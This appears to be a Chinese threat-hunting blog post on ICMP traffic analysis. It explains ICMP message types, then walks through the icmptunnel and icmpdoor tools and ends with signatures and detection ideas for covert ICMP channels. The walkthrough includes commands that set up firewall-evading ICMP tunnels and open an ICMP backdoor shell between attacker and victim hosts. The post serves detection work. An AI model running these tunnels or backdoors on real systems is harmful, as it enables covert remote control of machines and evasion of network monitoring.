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威胁狩猎-ICMP流量分析

huasec

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2024-07-13

概述

ICMP( Internet Control Message Protocol)互联网控制消息协议,它用于TCP/IP 网络中发送控制消息,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。通过这些信息,网络管理者可以对所发生的问题作出诊断,然后采取适当的措施解决问题。攻击者也可以利用控制消息发送恶意数据包实现对主机的控制。

ICMP协议分析

ICMP报文信息被封装在IP数据包内部,作为IP数据包的数据部分通过互联网传递。当IP报头中的Protocol(协议)字段值为1时,说明是一个ICMP报文。

ICMP报文包含三个固定字段。Type字段表示ICMP消息的类型;Code字段表示ICMP消息类型细分的子类型;Checksum字段表示ICMP报文的校验值,检验报文传输过程中是否出现差错。Data字段是可选的,包含与ICMP消息相关的附加信息,明文传输。其内容取决于ICMP消息的类型和代码。长度可以为0,也可以是任意长度。

不同的Type和Code值表示不同的ICMP报文类型,对应了数据包处理过程中可能出现的不同错误情况,不同类型的ICMP报文又分为差错报文和查询报文两种,如下表所示。

Type

Code

描述

查询/差错

0-Echo响应

0

Echo响应报文

查询

3-目的不可达

0

目标网络不可达报文

差错

1

目标主机不可达报文

差错

2

目标协议不可达报文

差错

3

目标端口不可达报文

差错

4

要求分段并设置DF flag标志报文

差错

5

源路由失败报文

差错

6

未知的目标网络报文

差错

7

未知的目标主机报文

差错

8

源主机隔离报文

差错

9

禁止访问的网络报文

差错

10

禁止访问的主机报文

差错

11

对特定的TOS网络不可达报文

差错

12

对特定的TOS主机不可达报文

差错

13

由于过滤 网络流量被禁止报文

差错

14

主机越权报文

差错

15

优先权终止生效报文

差错

5-重定向

0

重定向网络报文

差错

1

重定向主机报文

差错

2

基于TOS的网络重定向报文

差错

3

基于TOS的主机重定向报文

差错

8-Echo请求

0

Echo请求报文

查询

9-路由器通告

0

路由通告报文

查询

10-路由器请求

0

路由器的发现/选择/请求报文

查询

11-ICMP超时

0

TTL超时报文

差错

1

分片重组超时报文

差错

12-参数问题

0

IP报首部参数错误报文

差错

1

丢失必要选项报文

差错

2

不支持的长度报文

差错

13-时间戳请求

0

时间戳请求报文

查询

14-时间戳应答

0

时间戳应答报文

查询

15-信息请求

0

信息请求报文

查询

16-信息应答

0

信息应答报文

查询

来源:https://info.support.huawei.com/info-finder/encyclopedia/zh/ICMP.html

ICMP的应用场景

ping命令

日常我们使用ping命令的Type为8。抓取下ping的流量包,可以看到Data段长度有两种分别是48和32。

且echo reply和echo request的内容一致。

ICMP隧道

ICMP隧道(ICMP Tunneling)是一种网络隧道技术,它利用Internet控制消息协议(ICMP)来在网络上传输数据。ICMP隧道通常用于绕过防火墙或者其他网络限制,将数据封装在ICMP消息的Data字段中,可以将数据包看作是ICMP消息,因此可以在允许ICMP协议通信的网络中传输信息。下面介绍下icmptunnel工具生成的流量。icmptunnel的原理是将内容封装在ICMP echo数据包中,在ICMP数据包的 "data "字段中发送至代理服务器。代理服务器解压缩数据包并转发到目标服务器。

工具地址:https://github.com/jamesbarlow/icmptunnel

使用方法:



`git clone https://github.com/jamesbarlow/icmptunnel``cd icmptunnel/``make`


首先需要在两台机器上禁止ICMP响应。如下命令会阻止内核响应ping数据包:



`echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all`


随后,在服务端(172.17.10.43)启动 icmptunnel,并给隧道接口分配一个 IP 地址。



`./icmptunnel -s` `/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0`


在客户端(172.17.10.52),使用 icmptunnel 连接上服务器,并给隧道接口分配一个 IP 地址。



 `./icmptunnel 172.17.10.43` `/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0`


隧道建立完成后,可以看到主机间存在icmp通信流量。其中Type的值为8,说明该隧道工具用的是ICMP Echo Request消息。发送ICMP Echo Request消息的主机期望接收到一个相应的ICMP Echo Reply消息,以确认目标主机的存在和可达性。

每个数据包的Data字段都存在默认值"TUNL",十六进制为54554e4c04。

连接服务端的ssh服务



`ssh kali@10.0.0.1`


流量侧存在特征"TUNL" 和 "SSH-2.0-OpenSSH_7.6p1"

连接服务端的web服务



`curl 10.0.0.1:5003`


流量侧存在特征有"TUNL" 和完整的HTTP请求/响应内容。

另外发现流量中存在Echo Reply。这可能是由于网络中的问题导致Echo Reply在传输过程中重复发送或复制。这种情况可能是网络故障或异常的结果,应该被视为异常情况。

通过上述分析,icmptunnel的特征如下:

(1)Data字段包含字符"TUNL"

(2)Data字段长度非48和32的数据包需要注意

(3)传输字节比较大的数据,流量中会存在多个echo reply。

ICMP后门

ICMP后门通常是一种隐蔽的攻击技术,因为ICMP流量通常被认为是合法的网络流量,很少受到严格的防火墙或入侵检测系统的监视和过滤。攻击者可以利用ICMP协议的一些字段或选项来隐藏恶意代码或数据,然后在目标系统上的后门程序中解析这些隐藏的信息。

项目地址:https://github.com/krabelize/icmpdoor

使用方法:

attacker(172.17.10.43): python icmp-cnc.py -i eth0 -d 172.17.10.52

victim(172.17.19.52): python icmpdoor.py -i ens32 -d 172.17.10.43

建立shell连接后,可以看到Type的值为8,说明该工具也是通过Echo request消息传输payload。

如果受害端返回的消息体比较大,则会拆分多个Echo reply传输。

另外当在命令行执行curl命令的时候,受害机器可能会hang住。

ICMP检测思路

通过对上述攻击手法的分析,日常我们在分析ICMP流量的时候可以着重关注Type、Data字段的值。可通过各个以下思路发现异常ICMP流量。

1、主机间大量的icmp协议通信。当主机建立icmp隧道会实时发送探活的icmp包,因此流量侧可以看到大量的ICMP流量进出网络。

2、异常数据包大小。攻击者通过向每个request和reply注入更大的数据包来减少总数据数量。通常,合法的Echo请求和应答具有固定的标准大小,因此不同的数据报大小可能表明该连接用于隧道传输。

3、空的icmp请求。有些黑客工具通过发送空的Data值来探活。

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